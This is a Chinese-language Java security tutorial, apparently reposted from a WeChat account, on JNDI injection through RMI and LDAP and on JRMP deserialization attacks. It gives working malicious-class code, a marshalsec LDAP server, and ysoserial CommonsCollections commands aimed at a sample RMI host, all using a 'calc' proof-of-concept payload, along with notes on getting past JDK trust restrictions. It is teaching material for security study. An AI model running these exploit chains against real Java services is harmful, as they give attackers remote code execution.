介绍
JNDI(Java Naming and Directory Interface)用来查找和访问各种资源,比如定位用户、网络、机器、对象、服务等资源。JNDI底层支持RMI(Registry Service Provider)远程对象调用。
JNDI注入之RMI利用
受害者类
需要调用lookup方法,且需要保证参数是可控制的
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class Victim {
public static void main(String[] args) throws NamingException {
InitialContext initialContext = new InitialContext();
initialContext.lookup("rmi://127.0.0.1:1099/aaa");
}
}
RMI服务端
RMI服务注册的ip和端口应与受害者lookup的地址相同
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("evil", "evil", "http://127.0.0.1:8000/");//存放恶意class的服务器
registry.bind("aaa", new ReferenceWrapper(reference));
}
}
还需要指定恶意类的存放地址,这里我们直接用python -m http.server
在8000端口起一个目录遍历服务
恶意类
编写需要加载的恶意类代码
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.util.Hashtable;
public class evil implements ObjectFactory {
public evil() throws IOException {
Runtime.getRuntime().exec("calc");
}
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
return null;
}
}
适用javac将其编译为evil.class放到python起服务的根目录下
测试
先起python目录服务,再起RMIServer服务器,最后运行受害者的lookup方法。
理想情况是受害者利用lookup去寻找网络资源,RMI服务器指向python目录的恶意类,然后受害者读取恶意类并执行。
然而事实是这个方法只在8u121以下生效,因为更高版本的Java默认对RMI远程Reference不再信任,也就是出现The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.
报错的原因。
要想绕过高版本jdk也有方法,得保证受害者目标机器使用了对应的依赖,比如tomcat8、groovy等思路绕过限制。
JNDI注入之LDAP
LDAP基于X.500标准的轻量级目录访问协议
新建恶意类
import java.io.IOException;
public class evil {
public evil() throws IOException {
Runtime.getRuntime().exec("calc");
}
}
并java编译为class
marshalsec启动LDAP服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://localhost:8000/#evil 1099
启动python目录遍历服务
python -m http.server
在8000端口起一个目录遍历服务,把第一步编译的evil.class放到根目录下即可
受害者调用
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class Victim {
public static void main(String[] args) throws NamingException {
InitialContext initialContext = new InitialContext();
initialContext.lookup("ldap://127.0.0.1:1099/evil");
}
}
最终构成链子,受害者lookup访问到marshalsec的1099LDAP服务,该服务指向python启动的目录evil.class,受害者获得evil.class后执行里面的构造函数。
测试
从8u191开始,LDAP远程Reference代码默认不信任,需要通过利用javaSerializedData
属性序列化数据的方法实现攻击。
当javaSerializedData属性的value值不为空时,会对该值进行反序列化处理,当本地存在反序列化利用链时,即可触发RCE。
比如受害者机器存在CC链所需的类库,利用CC链生成poc
java -jar ysoserial.jar CommonsCollections5 calc > poc.txt
然后base64编码后放到ldap服务端代码里给javaSerializedData
属性addAttribute,最后使用受害者连接ldap服务执行本地反序列化rce。
JRMP协议
通过wireshark抓包看到在rmi调用的时候请求和响应都是基于tcp协议的JRMP协议,里面的payload也都是序列化的Java字节码,那么本质上我们可以替换响应的内容去触发反序列化的rce
攻击RMIServer
如果我们找到一个目标,其端口开放一个RMI服务,无需知道具体提供的服务调用类,直接发序列化数据触发服务端反序列化rce
假定服务端RMIServer的地址是192.168.100.1:1099且当前服务端存在一个有漏洞的cc链
java -cp ysoserial-all.jar ysoserial.exploit.JRMPClient 192.168.100.1 1099 CommonsCollections1 calc
或
java -cp ysoserial-all.jar ysoserial.exploit.RMIRegistryExploit 192.168.100.1 1099 CommonsCollections1 calc
即可让RMIServer服务端执行calc
攻击可控lookup方法客户端
前提是我们可以控制客户端lookup方法参数中的网络地址设置,此时我们可以自建一个RMIServer服务,让客户端连我们的恶意服务触发客户端的反序列化
java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 calc
让改客户端的请求目标,改成192.168.100.129:1099,发送请求即可执行calc
如果想调试,就在Runtime类的exec方法这里下个断点,然后看调用栈,往下翻找到readObject方法,再往前就是JRMP的调用,往后就是常规的CC1链子调用
原文始发于微信公众号(智佳网络安全):【JAVA安全】JNDI注入
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。
文章由极客之音整理,本文链接:https://www.bmabk.com/index.php/post/300757.html